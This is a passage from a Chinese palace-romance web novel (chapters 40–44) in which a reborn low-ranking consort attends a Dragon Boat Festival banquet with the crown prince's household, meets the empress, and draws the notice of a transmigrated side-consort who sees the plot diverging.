“宫中护卫森严,妾知道,可妾不知道以前听谁说的,说坊间的很多话本是根据发生过的事编撰的。”
槛儿想了两个法子来提醒太子此事,其中首选的便是由话本引出这一段。
太子向来行事谨小慎微,上辈子会中招,当真就是因为智者千虑必有一失。
他从来就不是自负的人。
不会轻易对旁人的言行掉以轻心。
所以槛儿能肯定。
只要让太子对射柳一事有了印象,他之后就一定会暗中叫人调查,防范。
心思转得飞快。
槛儿没有直接告诉太子该怎么做,而是很小声道:“妾愚钝,对很多事都不懂,妾只不想殿下有事。”
骆峋自然没有觉得小昭训是对他有多用情至深,才会如此忧心于他。
但她的想法,他能理解。
只有他好好的,她才有倚仗,才能好好的。
“知道了,明日孤会确保万无一失。”
她的小心思他明白。
但她的好意,他也会承。
何况她确实提醒了他。
最近四处奔波忙得晕头转向,加上要谋划的事,明日的射柳的
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确被他忽视了。
槛儿一听他这话就知道事情稳一半了。
至于另一半,等确定明日的宫宴全程没有发生任何变数的时候再稳吧。
这时。
男人清冷的声音在头顶再度响起:“明日,你随太子妃一同赴宴。”
槛儿:啊??
.
半个时辰后。
目送太子离开,槛儿同瑛姑姑他们说了明儿要随太子妃参加宫宴的事。
几人闻言先是一愣,旋即一个个笑开了花儿,简直比收到了赏银还高兴!
宫宴啊。
后宫可不是人人都有资格参加宫宴的,按他们昭训主儿的位份就没有,但他们主子明天却能去赴宴!
能在皇后娘娘跟前露脸!
连瑛姑姑都没控制住高兴劲儿,忙着替槛儿挑选明日穿戴的衣裳首饰。
“得亏明儿个没大礼,用不着穿礼服,没啥典礼规矩守,省了不少事儿,若不然这个时候肯定来不及!”
端午为民间节俗。
宫廷活动以节庆娱乐、祈福驱邪为主,所以来参宴的人用不着像除夕宴那样,向帝后行三跪九叩朝拜大礼。
如此就简便许多。
槛儿听着瑛姑姑的咕哝,笑而不语。
直到准备歇下。
槛儿才单独留了瑛姑姑,告诉她,她能去参宴是郑氏主动向太子提起的。
不过,槛儿也就是跟瑛姑姑说一声。
她不会因为机会是郑氏为她争取的,就矫情地不想去,亦或者感到膈应。
郑氏很显然是在借她,来向太子和外人展现她这个东宫主母的贤淑。
既如此。
她们便算是各取所需。
所以没必要有任何心理负担。
瑛姑姑见槛儿这么想得开,不禁也放宽了心,“在这后院待了这么久,您明天终于能出去透透气儿了。”
是啊。
宫宴对槛儿来说并不稀奇。
但举办端午宴的西苑风景如画,能到那边去放放风确实是件值得高兴的事。
心情好,槛儿夜里便睡得格外香。
次日一早起来红光满面。
有昨晚的家宴在前,今儿跳珠她们也没想着把槛儿打扮得多花枝招展。
但到底要到皇后娘娘和其他人前露脸,真什么都不讲究也不行。
没得被人说寒碜。
所以瑛姑姑与寒酥、跳珠给槛儿穿戴时,在小细节上花了很多心思。
譬如槛儿底子好,五官娇媚。
瑛姑姑就还是没给她上妆,只在右眼侧粘了几粒细小珍珠,中和了媚态。
上上下下一番打扮下来。
跳珠、喜雨就差没把槛儿夸上天,望晴也笑着,眼底有着说不出的复杂。
槛儿的视线落在镜子上。
第40章 太子爷:她可真不知羞!
参加宫中的宴席低位妃嫔可以有两个随行宫女,槛儿不能被称作妃嫔,但规制是按照这个标准来的。
跳珠机灵,嘴皮子利索,适合在外走动,槛儿便还是带了她,此外还带了银竹。
银竹此前曾作为太子的随行宫人经常在东宫外来往,对宫宴也熟悉。
槛儿不在,永煦院要留能主事的。
自然当属寒酥和瑛姑姑。
收拾好交代了几句,主仆仨便出了门。
嘉荣堂的人先前出于对太子妃的敬畏,和对槛儿做了主子这事的复杂情绪,待槛儿的态度一直不咸不淡。
今儿个倒是出了奇。
见着槛儿个个儿脸上都堆着笑,就像是槛儿同他们主子有多亲近似的。
槛儿心知肚明,心安理得地受下了。
还不到辰时。
今儿不用请安,秦昭训自然没来,约莫一盏茶的功夫后曹良媛到了。
看到槛儿。
曹良媛一愣,旋即注意到槛儿的装扮,她的心底升起一股不好的预感。
果不其然。
“良媛有所不知,宋昭训一会儿要与您和太子妃一道出去过端午呢。”
从内室出来的霜云一脸喜笑颜开,不知道的还当她同槛儿关系多好呢。
槛儿侧首看她一眼。
霜云掩掩唇。
“瞧奴婢这嘴,真是没个把门的,抢了宋昭训的话,宋昭训不会怪罪奴婢吧?”
话是这么说,她脸上可看不出丁点儿对槛儿的尊重和认错的态度。
她抢这话,无非是想激起曹良媛对槛儿的不满,挑拨两人打起来罢了。
槛儿笑得温婉:“霜云姑娘好心替我答话,我如何能怪罪于你,有劳姑娘了。”
霜云讨了个没趣。
敷衍地扯扯嘴角,出去使唤人做事了。
“这是怎么回事?”
曹良媛落座,重新扬起笑。
“宋妹妹要去赴宴,什么时候定下的?我都不知道呢,可是殿下的意思?”
太子昨晚好不容易来趟后院,为了这姓宋的罚了金承徽也就罢,还当着她们几个的面单独将人留下。
之后更是又去了这人屋里!
如今这姓宋的一个区区七品小昭训,就要跟她们一道去参加宫宴?!
曹良媛不信这里面没有太子的意思。
就算没有。
太子也是应允了的!
所谓不患寡而患不均。
都是做妾的,凭什么她能这般得宠!
想到这些,饶是自诩沉得住气的曹良媛,此时眼里也难免闪过一丝嫉妒。
槛儿看见了。
微微垂眸,装出羞涩来。
“太子妃宅心仁厚,特许我参加今日宫宴,没能及时知会曹姐姐,请姐姐见谅。”
郑氏准的?
曹良媛不显地皱了皱眉。
郑氏此前对宋槛儿的态度一直不咸不淡。
搞得她都看不懂郑氏葫芦里卖的什么药了,如今却准许宋槛儿到人前露脸?
曹良媛想到了半月前郑氏和太子闹的那场矛盾,她脑海里猛地一激灵。
但很快,她又把念头给按住了。
不不不。
以太子的性情,不可能单纯为了这么个小昭训落了郑氏这个发妻的脸子。
所以两人矛盾的根源不是宋槛儿。
那会是什么呢?
郑氏抬举宋槛儿的目的是什么?
难不成是要将人立起来。
让对方跟她打擂台?可她是太子立起来,太子会允许宋槛儿同她作对?
曹良媛越想越乱。
也没了做戏的心思。
说了句“那恭喜妹妹了”,便接过宫人奉上的茶兀自喝起来,站在她身后的抚琴则暗暗瞪了槛儿一眼。
狐媚子!
槛儿轻飘飘看她一眼。
气得抚琴暗暗跺脚。
内室。
郑明芷讥诮地嗤了一声。
“他倒对那小蹄子挺上心,轻易就点了头,也不嫌那贱婢在外给他丢丑!”
她把事情拖到昨晚才说。
一来太子忙着正事,她确实不好在这个节骨眼儿上拿后院的事去扰他。
省得让人觉得她分不清轻重缓急。
二则,也是她心里不舒坦。
终究还是不想那小蹄子轻易得逞,想看她临到赴宴了才着急忙慌地收拾。
是时她随便寻个借口把自己摘出去,也算坐实了那贱婢上不得台面。
反正有金承徽的事在前。
她被金承徽气得忘了这事儿也正常。
她打算半夜了。
或是到了今儿一早再派人去传消息。
谁知太子居然把事给那小蹄子说了,插手该主母管的事,他也不嫌跌份儿!
庞嬷嬷替郑明芷顺着气儿。
“您与东宫一荣俱荣,一损俱损,那蹄子再是不好,出去了就代表着东宫的颜面,她自己丢丑无妨,您……”
郑明芷拍拍她的手,示意她放心。
她虽想那小蹄子当众丢丑,最好是能让她今后都没脸出去见人的那种丑。
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但如今她和东宫共荣辱。
她不仅不能动手给那小蹄子下套,若那蹄子真被人羞辱或是做了落东宫体面的事,她还得帮着遮掩。
只有东宫好了,她才能好。
一刻钟后。
郑明芷从内室走了出来。
她今日打扮得比昨晚家宴还要雍容端庄,满头珠翠,通身的东宫主母气势。
槛儿和曹良媛向她请安时,她的眼神就审视地在两人身上打了转。
然后象征性说了两句要恪守规矩,小心行事之类的话便领着人打头出去了。
曹良媛和槛儿有序地跟上。
一路无言,到了东宫大门口刚及辰时。
门前停着储君的仪仗队。
十六抬的朱漆轿辇,辇身上八条四爪腾云龙在晨光中威风凛凛,另设有华盖,以金银线绣着云鹤、麒麟。
轿辇前侍卫举幡开道。
东宫属官各个身着官袍,分两列站于后,偌大的东宫门前一片静默庄肃。
槛儿她们为内宅女眷,自然不能就这么出去同这些属官们直接碰面。
她们便在距离门口四丈远的停下。
原地等了会儿,不多时太子的身影出现在了仁安殿前的朝华门门口。
今日的他一身赤底织金云龙纹的朝服,袍子上绣着山、龙、宗彝九章纹,腰束金镶玉缂丝带,坠着风调雨顺佩绶带。
头顶太子冠,脚踩四龙缎面靴。
随着他一步步走来,晨阳往其身上镀着金光,更衬得他雍容威仪不似凡人。
饶是郑明芷再不喜太子。
也不得不承认这人当真有一副好皮囊,那通身的气势激得她心砰砰直跳。
曹良媛强行镇定,随郑明芷一道向来人见礼。
槛儿倒是见惯了太子的气派,但这具身子还是头一回见这样的他。
以至于一见到人,她的脸就烧了起来,心也跳得厉害,像藏了只兔子
不过,人都是好美的。
撇开情情爱爱,槛儿对太子的外形还是极其喜爱的,不论脸还是身子。
趁人没走远,槛儿暗自欣赏了会儿。
殊不知太子爷目力惊人。
远远就看到了她娇羞甜蜜又略带满意的眼神,显然是看着他想到了别的事。
什么事能让她露出这样的眼神?
骆峋当即想到了昨晚。
想到她那时,在他耳边说他好厉害的话。
骆峋抿紧唇。
光天化日,朗朗乾坤。
她可真不知羞!
第41章 太子绷着脸走,“宋槛儿!你怎么在这?!”
太子走了,绷着脸走的。
不过他素来不喜形于色,倒也没叫旁人看出来。
今天进宫赴宴的皇亲国戚、公侯伯爵和朝中大臣会先去乾元殿拜见元隆帝。
女眷则要先去给裴皇后请安,然后再由帝后率群臣及女眷到西华门汇合。
太子要伴驾。
不和槛儿她们同行。
等属官们从门前经过,郑明芷率槛儿等人从门内出来目送太子的仪仗队。
稍顷。
太子妃的轿辇仪仗上前,跟着是曹良媛的四人抬肩舆,槛儿的两人抬肩舆。
三人先后坐上各自的代步工具,一行人浩浩荡荡地朝坤和宫行进。
大概因为心境不同了。
所以哪怕宫里的一砖一瓦都是自己所熟悉的,槛儿也没觉得枯燥无趣。
反倒因为这一辈子得来不易。
槛儿珍惜,欢喜,连带看这些熟悉的景心里也充满了无限感慨和畅快。
一刻钟后,到了坤和宫。
裴皇后还在内室梳妆。
槛儿三人由宫人领着到了正殿后,便在门前台阶下阴凉的地方候着。
槛儿对坤和宫自然不陌生。
但她还是在不卑不亢的基础上,很形象地表现出了第一次来此该有的紧张。
郑明芷侧目。
见槛儿端正地站着,双眼低垂,看起来从容本分,但那双交叠在身前的手却微微攥紧,暴露了她的不安。
上不得台面的。
郑明芷不可见地撇了撇嘴。
这时,殿内传来轻微的珠帘碰撞声。
裴皇后出来了。
坤和宫的大宫女碧荧出来请她们进去。
郑明芷立时隐去眼底的不屑,扬起温婉的笑领着槛儿和曹良媛进屋请安。
裴皇后对三女叫了起。
随后目光投到槛儿身上,状似随口提了一句:“这位便是宋昭训?”
槛儿半垂着眼,踩着小碎步上前。
郑明芷笑道:“儿媳寻思着东宫难得进回人,便让她出来露露脸,长长见识,若有失礼之处还请母后莫怪。”
“不怪。”
裴皇后浑不在意。
随即对槛儿道:“抬眼我瞧瞧?”
槛儿便抬起眼,轻唤了声“娘娘”。
趁裴皇后打量她的时候,槛儿也迅速不动声色地打量了裴皇后一番。
裴皇后和元隆帝是少年夫妻。
她只比元隆帝小三岁,当下五十有四,不过瞧着倒只有四十出头的模样。
方圆脸,柳叶目,眉宇间带着一股将门女子的英气和久居高位的威仪。
一身明黄直领对襟大衫,搭深青色霞帔,其上皆用金线绣着龙凤翟鸟,缀有珍珠宝石,一派的华贵不凡。
上辈子槛儿没见过裴皇后。
因为太子遭幽禁的那年。
宫中传言帝后爆发了史无前例的争执,而裴皇后也死在了那场争执之后,据说是急火攻心导致的暴毙。
当时槛儿只是奉仪。
她得知的消息都是小福子从别处打听来的,所以这其中的真假槛儿并不清楚。
她唯一一次见裴皇后,是随郑氏她们到坤和宫哭灵,见的裴皇后的灵位。
“嗯,是个标志人儿。”
裴皇后点点头,随手褪了一支镯子交给大宫女碧烟,由碧烟赏给槛儿。
“谢娘娘赏赐。”
槛儿再度跪下,叩首谢恩。
裴皇后:“太子,太子妃既抬举了你,你便当得安分守己,尽心伺候太子,太子妃,争取早日为太子开枝散叶。”
“是,妾身谨遵娘娘教诲。”
到底只是个小侍妾,裴皇后也没再多言。
这时,有小太监来禀。
说是信王妃、荣王妃、睿王妃、慎王妃和宣王妃领着小世子、小公子及小郡主们,率各府侧妃们都到了。
另几位已成婚的公主们也到了。
裴皇后:“叫他们进来。”
逢上这种宫宴。
后宫妃嫔和尚未出宫开府单住的皇子公主们,当日无需来向裴皇后请安。
来朝见裴皇后的主要分两波。
一波为各亲王府中的王妃侧妃跟她们的儿女,另一波为宗亲妇、命妇。
郑明芷逢这时候要就近陪在裴皇后身边,槛儿和曹良媛无资格受这些女眷们的礼,则只能站在一旁。
很快,随着一阵珠钗环佩响。
五位王妃、四位公主、十八位王府侧妃并一群小郎小姐儿相继进入殿内。
宫人将数个软垫分两排摆放好,众人按长幼尊卑分批向裴皇后行跪拜礼。
礼毕,裴皇后给几位王妃、公
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主和几个年纪稍大些的郡主都赐了座。
侧妃们则站在各自的主母身后,小郎君与小姐儿们则或乖巧站在嫡母身旁、或由随行乳母抱在怀中。
皇家中人讲的就是规矩。
从进殿到行完礼。
除了还不会走路,由乳母抱着的慎王府五公子、宣王府大公子和二郡主外。
其他人包括只有两三岁的孩子们在内,没有任何一个人左顾右盼,全都神态恭敬地面朝着裴皇后的方向。
直到大家坐下和裴皇后寒暄,才终于有人发现东宫女眷似乎多出了一个。
东宫后院添了人,这事在宫里不是秘密。
这些贵妇们近段日子进宫来给裴皇后和各自的母妃请安,自然也听说了。
私底下她们还谈论过此事。
都不蠢。
都大致猜出了太子妃的意图,但也只是在心里猜测,没人敢当众说出来。
毕竟人家正主都还没表态。
不过,她们猜归猜。
却并不清楚太子新添的人是何模样。
作为尊贵的王妃公主和皇家侧妃,她们也不会在意东宫后院一个小妾的美丑。
所以谈论过一阵后,众人就把这事抛到了脑后,直到这会儿发现多出的女子。
槛儿毕竟是东宫的人。
这样的场合她若一味低眉敛目,难免显得小家子气,落了东宫的体面。
所以这会儿她同曹良媛一样看着屋里的这一众人,随着他们与裴皇后的寒暄或得体微笑,或专注聆听。
因此注意到她的人不仅注意到了她的身段儿,还一眼看清了她的样貌。
好在,都是见过大场面的贵妇。
又各有傲气。
哪怕心里再如何怔愣、惊艳。
她们也没当着裴皇后的面表现出来,更没有像寻常妇人那般过问一个小妾。
只管问候裴皇后,殿中气氛倒是和谐。
槛儿安静地看着,同时把脑海里的记忆跟眼前的这些熟面孔一一对上。
就在这时,一道女声突然响起。
“宋槛儿!你怎么在这儿?你这时候不是应该……”
却是宣王府的姜侧妃。
槛儿循声看去。
便见那姜侧妃美目圆睁,惊愕地看着她,似是对她出现在这儿很难以置信。
第42章 夭折了!太子:“作何在此?”
屋里一静。
包括听得懂话的孩子们在内,众人都顺着姜侧妃的目光朝槛儿看过来。
呃……
槛儿有点儿懵。
什么情况?
这时候她不认识姜侧妃呢。
“姜侧妃,不得无礼!”
宣王妃不悦低斥道。
王府侧妃的品级比东宫昭训的高,若单照品级来分,王府侧妃不需要对一个小小的昭训以礼相待。
但再怎么说此女顶着的也是太子昭训的头衔,又是当着裴皇后的面。
该有的礼待自然还是要有。
“啊,我、我……”
意识到自己做了什么,姜侧妃的脸“唰”地一红,支支吾吾的说不出来话。
宣王妃刚要替姜侧妃向郑明芷赔罪。
裴皇后在这时说了话。
道时辰不早了,命妇们该过来了,让宫人领着各位主子到偏殿歇歇脚。
众人心思各异,但面上无一不应。
从正殿出来。
宣王妃一行人由碧荧领着往偏殿走。
等到了偏殿,碧荧笑盈盈安顿好各位主子就离开了,众人总算松了口气。
“姜侧妃,你刚刚怎么回事?看你那样,可是认得东宫那位新昭训?”
等奉茶点的宫女太监都退下,慎王府的林侧妃第一个没忍住,扯了扯挨着她坐的姜侧妃,轻声问道。
屋里安静。
其他人闻言不禁也纷纷看过来。
姜侧妃很不耐烦。
没见人家裴皇后都没问什么吗?她倒是巴巴凑过来了,一点眼力见儿也没有。
难怪慎王府四个侧妃,就她不得宠!
“没,不认识。”
姜侧妃讪笑。
“我认错人了,当是以前熟识的人,细看才发现不是,平白惹了笑话。”
胡扯呢。
大伙儿的眼睛又不瞎。
那小昭训生得那么一副千娇百媚的模样,打眼一瞧说是惊为天人都不为过。
这样有辨识性的美人儿。
姜侧妃真要认识肖似此女的人,不可能一点风声都没有,毕竟姜侧妃此人也称得上是京中“名人”呢。
“是吗?我还以为你认识呢。”
林侧妃半是玩笑半是讥讽。
“看来姜妹妹此前病的那一场真是不轻呢,不但改了性子,如今脑子也不好使了,年纪轻轻记性就差了。”
慎王为五皇子,宣王为七皇子。
林姜二女虽都是王府侧妃,但按长幼论序,姜侧妃还是得敬着林侧妃。
“让林姐姐见笑了。”
姜侧妃难为情似的道。
“也不知现在的年轻人都这样,还是只我如此,上一刻还记着的事有时转个头就忘了,闹出过不少笑话。
还是林姐姐记性好,过去快两**都还记得这么清楚,我若想有林姐姐这记性,怕是还得多吃几年盐。”
林侧妃今年二十二。
比姜侧妃大四岁。
姜侧妃此言听着是夸林侧妃记性好,实则是在拐着弯儿嘲对方年纪大。
哪个女子又爱听人说自己年纪大呢?
尤其林侧妃生就一副细眼阔鼻的长相,加上极度追求纤瘦,整个人瞧着干瘪得几乎只剩了身骨头架子。
比实际年龄还要显老。
她素日里最忌讳的就是有人当着她的面提年纪,特别是提她的年纪!
当然,她自己提无所谓。
“姜侧妃,你放肆!”
林侧妃习惯性要往扶手上拍,却忘了这会儿她们这些侧妃坐的都是凳子。
林侧妃拍了个空。
右半边身子因为用力过猛忽地一歪,好在被坐在后面同为慎王侧妃的陈侧妃搀了一把才免了当众丢丑。
姜侧妃“噗”一声笑出来。
宣王妃眉头一蹙,看向她。
姜侧妃轻咳,拿帕子掩了掩唇,假模假样地娇声道:“林姐姐当心些。”
当着这么多王妃公主的面闹了笑话,林侧妃当即就要跟姜侧妃理论一二。
可惜没来得及开口,前面椅子上坐着的慎王妃就回头朝她看了过来。
林侧妃顿时跟被掐了脖子的鸡似的。
睿王妃坐在对面笑看了会儿她们这边的闹剧,旋即美目一转开口道:
“不得不说,那位宋昭训当真是个颜色好的,我长这么大还没见过像她那般标志的人物呢,大嫂你觉得呢?”
此言一出。
立马没人管林侧妃姜侧妃了,纷纷把视线集中到了信王妃跟睿王妃身上。
信王乃德妃所出,排行老大。
是元隆帝的第一个儿子,今年三十七。
在场的人都知道。
大靖皇室遵循的是立嫡立长的祖宗法制,因此太子出生前,信王便是最有望于储君之位的人选。
而睿王刚及而立,排行老三。
生母是最得宠的魏贵妃。
一个长子,一个宠妃之子。
早年太子还没长成,就数他俩斗得厉害。
所以信王妃跟睿王妃表面和和气气,实则背地里也没少互相扔软刀子。
信王妃最是端庄不过。
历来以《女诫》、《贤媛集》、《列女传》为自身行为准则,平时的穿着打扮和行事做派也都较为内敛保守。
睿王妃这话明显是借东宫那位昭训妖媚的样貌,嘲讽信王妃的古板迂腐。
“哼,什么好颜色。”
十五岁的韶宁郡主冷哼道。
“妖里妖气的,一看就不是正经人,也不知六皇叔怎么就看上这么一个人的。”
韶宁郡主是信王和信王妃的次女,她口中的六皇叔自然指的是太子。
“住口!”
信王妃拧眉,没好气斥道。
“越大越不知规矩,这话也是你能说的?再敢多嘴看我不罚你!”
韶宁郡主撇嘴。
比她大半时辰的双胞胎姐姐韶安郡主扯扯她的袖子,示意她别跟母亲顶嘴。
主要这里是坤和宫。
别看这会儿宫女太监们都在外面候着,实际这些个奴才的耳朵可灵着呢。
若是妹妹说的这话传到了皇祖母的耳朵里去,皇祖母该对她们不满了。
教训了女儿,信王妃看向睿王妃。
“太子的人必然是标志的,我劝三弟妹今后还是不要再说这样的话,勿要犯了口舌。”
睿王妃大方一笑。
一双顾盼生辉的狐狸眼眸光流转。
“谢大嫂提点,我会记着的,不过我倒觉得我刚刚那话算不上犯口舌。
倒是韶宁这丫头,那昭训好歹是太子的屋里人,俗话说不看僧面看佛面。
也就是现在这儿都是咱们自家人,听过便过了,可若是传了出去,指不定让人觉得咱们皇家姑娘少教呢。”
信王妃老神在在。
“三弟妹说的是,姑娘家是该管,回去我便罚她禁足半月,抄《女诫》十遍。”
韶宁郡主:“母妃!”
信王妃没搭理她,兀自喝起茶来。
睿王妃欣赏够了小姑娘眼泪汪汪的模样,也笑
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盈盈地品起了茶。
姜侧妃看完热闹,收回视线。
却是怎么也想不明白。
书里这个时候的宋槛儿,应该正被太子妃拘在嘉荣堂的偏殿才对啊。
可现在对方不仅成了昭训,今天居然还能出来跟她们一起过端午??
姜侧妃很确定!
书里根本没有这样的剧情!
难道……
一个念头飞快从姜侧妃的脑海里闪过,激得她身上一阵鸡皮疙瘩。
不会吧不会吧。
难道自己也要上演一场穿书女vs重生女的戏码?还是说对方其实跟她一样。
也是穿过来的?!
.
宣王妃一行人一走,裴皇后便示意曹良媛和槛儿过来坐会儿歇歇。
“你认识姜侧妃?”
郑明芷问。
槛儿摇摇头:“妾身此前不认识姜侧妃。”
“你不认识她,可她怎么像是认识你?”
郑明芷本就不愿槛儿在人前露脸。
更不想她出风头。
现下宴会还没开始槛儿就引起了那么多王妃侧妃以及公主的注意,虽然这事是宣王府的姜侧妃弄出来的。
但郑明芷就是不高兴。
槛儿稍显讪讪道:“回太子妃,妾身不知,妾身先前没接触过宫外的人。”
“不认识就不认识吧。”
郑明芷还想说什么,被裴皇后打断了。
“姜侧妃兴许认错了人,宋昭训不必紧张,太子妃也无需将此事放在心上。”
槛儿恭声应是。
心里也没闹懂那姜侧妃的意思,好端端的她怎么就不能在这儿了?
上辈子她跟对方第一次见是在好几年后的中秋宴上,当时可没有这回事。
总不能姜侧妃也重活了吧?
念头刚起,槛儿就被自己逗笑了。
若谁都有重生这样的机遇,那岂不是这世上处处都是活了几辈子的人?
那也太荒谬了。
槛儿暗暗摇头,将这个猜测抛到脑后。
不过她在心里还是稍微记了一下这件事,毕竟不怕一万就怕万一。
谁也不能保证这辈子的事情,就一定会纹丝不变地照上辈子的轨迹发展。
又过了会儿。
宗亲妇和命妇们到了。
等所有金光四射的贵妇们向裴皇后见完礼,已经是半个多时辰后的事了。
离去西苑还有两刻钟。
命妇们被领去了另一处偏殿休整。
裴皇后也要稍作歇息,槛儿和曹良媛便由坤和宫的宫人领着到后面歇脚。
曹良媛早就想去净房了。
出来便催促宫人带她去歇脚的地方。
槛儿懒得追,叫了旁边一个宫女引路。
然而没走两步。
两侧的宫人突然都跪了下来。
槛儿不禁回过头。
便见太子从景和门方向过来,猿臂蜂腰,龙行虎步,清冷的脸配淡漠的眼。
看样子是要去正殿见裴皇后,看到她,他顿了顿,旋即大步朝她走过来。
“作何在此?”
槛儿就大致说了命妇们刚朝拜完,皇后娘娘让她们也下来稍作休整的事。
骆峋扫一眼旁边的小宫女。
本来槛儿是要和曹良媛在一起的。
但小宫女见太子跟槛儿说了话,就很是机灵地引着两位主儿去了别的地方。
带女儿出来透气的姜侧妃无意间撞见这一幕,眼珠子差点没瞪出来。
夭折了!
剧情真的不一样了!
第43章 太子爷:“不知羞。”槛儿:“???”
到了歇息的屋子,等宫人们都退下,槛儿问:“殿下来看娘娘吗?”
“嗯。”
乾元殿那边没什么事。
父皇让他来看母后这边进程如何了,岂料刚过来就看到她一个人站那。
骆峋便想起,自己昨夜只同她说了让她随郑氏和曹良媛赴宴的事。
没同她讲宴的流程,以及该注意的地方。
也不知她怕不怕母后。
见到那么多贵妇,命妇会不会紧张。
只是不会琴棋书画就怕他嫌弃,见她形单影只的,骆峋不免便想多了些。
反应过来,人已经同她走了。
槛儿不知太子的心思,听他说是来看裴皇后的,她也不缠他闲话了。
“那您去吧,娘娘这会儿正得空呢。”
“不急。”
骆峋环视一圈这间屋子,低头看她。
“第一次参加宫宴,可会怕?”
槛儿自然不怕。
但她不能这么表现。
“有点……”
她抿抿唇,稍显难为情地说。
伸手揪住男人的衣袖,很小声道:“但一想到殿下同在宴上,妾身就不怕了。”
又讨好他。
骆峋看眼窗外的日光,无情地将袖子从那两根葱白的手指上抽出来。
“你规矩仪态甚好,不必过多忧虑,你是东宫的人,只要占理,无需对谁忍气吞声。”
谨言慎行不等于畏首畏尾。
他还不至于连自己的女人都护不住。
顿了顿,骆峋补充:
“娘娘通情达理,不拘小节,你礼数周全行事有分寸即可,无需太过拘谨。”
昨晚宽慰她也好,此时的提点也罢,槛儿觉得这人真和上辈子不一样了。
虽然他的脸还是冷。
但能亲耳听到他说这些,对槛儿而言是好事,对两人的关系而言也是好事。
“妾听殿下的。”
槛儿娇羞一笑,真诚道。
“妾身刚开始是有一点怕娘娘,娘娘好威严,但娘娘夸妾身了,还给了妾身赏赐,妾身就没那么紧张了。”
骆峋看她小嘴儿叭叭叭的。
像只欢快的雀儿。
让他的心情也莫名跟着好了起来。
但不知怎么。
看着小昭训一张一合的樱唇,他想起了今早东宫门前她看他的那个眼神。
想起夜里从这张红润小嘴儿里吐出来的,那句夸他“好厉害”的话。
“不知羞。”
太子爷清冷正经。
好看的薄唇里突然冒出这么三个字。
槛儿就懵了,嘴角的弧度僵住。
不是在说皇后娘娘吗?
怎么扯到不知羞了?
再说她怎么就不知羞了?
太子殿下自是不会同小昭训明说,夜里那等秘事也决计不可宣之于口。
不过,看她前一刻还欢快地跟他分享喜悦,此时却笑颜凝滞懵懂忐忑。
骆峋也知败了她的兴。
瞥眼光亮的窗外,他袖下的指尖蜷了蜷,最终还是抬手,摸了摸她的脸。
“不紧张便好,去了西苑只管跟着娘娘,有问题太子妃若不能解决便请娘娘做主,再不行则让人来寻孤。”
他素来是个寡言少语的,唯有在谈及正事,或与人讲经说理时话才多些。
如今说到这个程度,实属罕见。
槛儿也就把他莫名说她不知羞的话抛到了脑后,做出乖巧恭顺样儿。
“好,妾记住了。”
说着,想起一事。
她极力踮起脚,凑到男人耳畔。
“射柳,您别忘了。”
说完,也没缠人。
自觉拉开了距离。
骆峋的耳尖动了动,“知道了,孤走了。”
从宫室出来,骆峋看眼海顺。
海顺心领神会地点点头。
骆峋便不再言,迈步去了正殿。
听宫人来报说太子来了,和宋昭训去了后面,裴皇后说不意外是假的。
不过当着太子妃的面,她没表现出来。
这会儿见儿子从外面进来,裴皇后也权当不知道他去陪了那小昭训。
熟稔地吩咐人打湿巾子来替太子擦汗净面,又叫一旁的小太监给太子打扇,问起他乾元殿那边的情况。
骆峋挑拣着如实相告。
这边的情况他方才听槛儿说了个大概,便没再多问,只关心了裴皇后一番。
郑明芷代为答了几句。
她和太子的矛盾裴皇后并不知情,人前他们便是一对相敬如宾的皇家夫妻。
骆峋与她说了两句大面上过得去的话后起身告退,郑明芷体贴地送人出去。
见夫妻俩走远了。
裴皇后哼笑了声。
“娘娘笑什么?”冯嬷嬷替她捏着肩,闻声问。
裴皇后靠着椅背,姿态懒散道:“还在我跟前做戏呢,真当我老眼昏花,看不出他们之间的那点儿猫腻。”
“殿下也是不想您劳神费心,再者大多夫妻情分都是长期处出来的,年轻小两口哪有不闹矛盾的时候,再多给些时间处处就好了。”
裴皇后觉得不尽然。
她又不傻。
旁人看不出来,她这个当娘的却是最熟悉儿子的某些细微表情跟小动作。
早在小两口成婚不久的时候她就看出来了,儿
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子跟儿媳不亲近,这种不亲近还带着一丝排斥和厌恶。
只不过再是当娘的。
也不好揪着儿子儿媳的房中事问。
儿子既然不愿说,她也就不多嘴。
横竖那么大的人了,哪能事事都要当娘的操心,有时操心的多了反倒惹人厌。
只要他自己清楚该做什么就行。
何况太子妃那人。
裴皇后也看清了,左右不管她说什么做什么,她在她那儿媳心里都是恶婆婆。
既如此,她就懒得讨人嫌了。
由他们折腾去吧。
只要不折腾出什么大事就成。
“那个宋昭训。”
裴皇后转移了话题道。
“瞧着倒是跟先前叫人查来的消息一般无二,是个规矩本分知进退的,看起来好歹也是个能稳得住的。
人也标志,面色红润身子康健,跟我园子里养的那些牡丹花儿似的,倒是比有些闺阁千金还要来得娇贵。”
冯嬷嬷顺着话头笑道:“太子妃眼光好,配给咱们殿下的自然要是最好的。
就宋昭训那样的样貌,身段儿,也只有咱们殿下这样的人物才护得住。”
这倒是实话。
历朝历代的女子就没有容易的。
男人们遇上了事喜欢把错归咎到女子身上,自己管不住下半截身子,到头来也成了女人勾引的他们。
不难想象小昭训若是在宫外会遭遇什么,可在宫里做奴才就能好吗?
混账人不分男女,哪儿都有。
裴皇后叹了声。
没说太子妃哪是要给太子配最好的,主要是看上人小姑娘好生养了。
想到生养,裴皇后忽然头疼了起来。
就太子当下对那小姑娘的上心程度,若一直这样下去,怕是今后关于孩子生了养在哪的问题还得闹一遭。
.
送走太子,槛儿回屋歇息。
约莫两刻钟后。
正殿那边来人说要出发了。
槛儿刚从屋子里出来,就和曹良媛碰上了。
“你到哪歇息去了?”
曹良媛的神色复杂,上来便问。
虽说这里是坤和宫。
她们和自己带来的人都不能随意走动,但混迹宫里自然要眼观六路耳听八方。
曹良媛有这样的神色,想来是听说了太子来过,且和她在一起待过。
槛儿没有刻意隐瞒。
曹良媛听得那叫一个牙酸啊。
她就稍微走快了几步。
几步!
结果就让这人撞见了太子。
两人还单独相处了!
就这么一会子的功夫,都离不得吗?!
第44章 “太子小时候就很乖。”裴皇后vs魏贵妃
西苑在前朝时期就是皇家避暑赏游的胜地,大靖开国后几代帝王又在原址的基础上进行了改建、扩展。
到如今园内一池三山,面域辽阔,亭台楼榭,殿宇林立,奇花异草遍地。
槛儿等人一进去。
入目便是一片波光粼粼的水域。
正是太液池。
太液池乃西苑中心水域,呈南北走向,一眼望去烟波浩渺,水天一色。
往北是万岁山,山上林木蓊郁。
多座华殿和楼榭掩映其中,鎏金宝顶直入云霄,远远看去犹如海上仙山。
今天的第一项活动是观戏。
戏楼设在玉熙宫,这地方在太液池的西南岸,离西苑门近两刻钟的路程。
一路走下来男客们那边不清楚,反正女眷这边没有代步工具的都热得够呛。
所以一到地方。
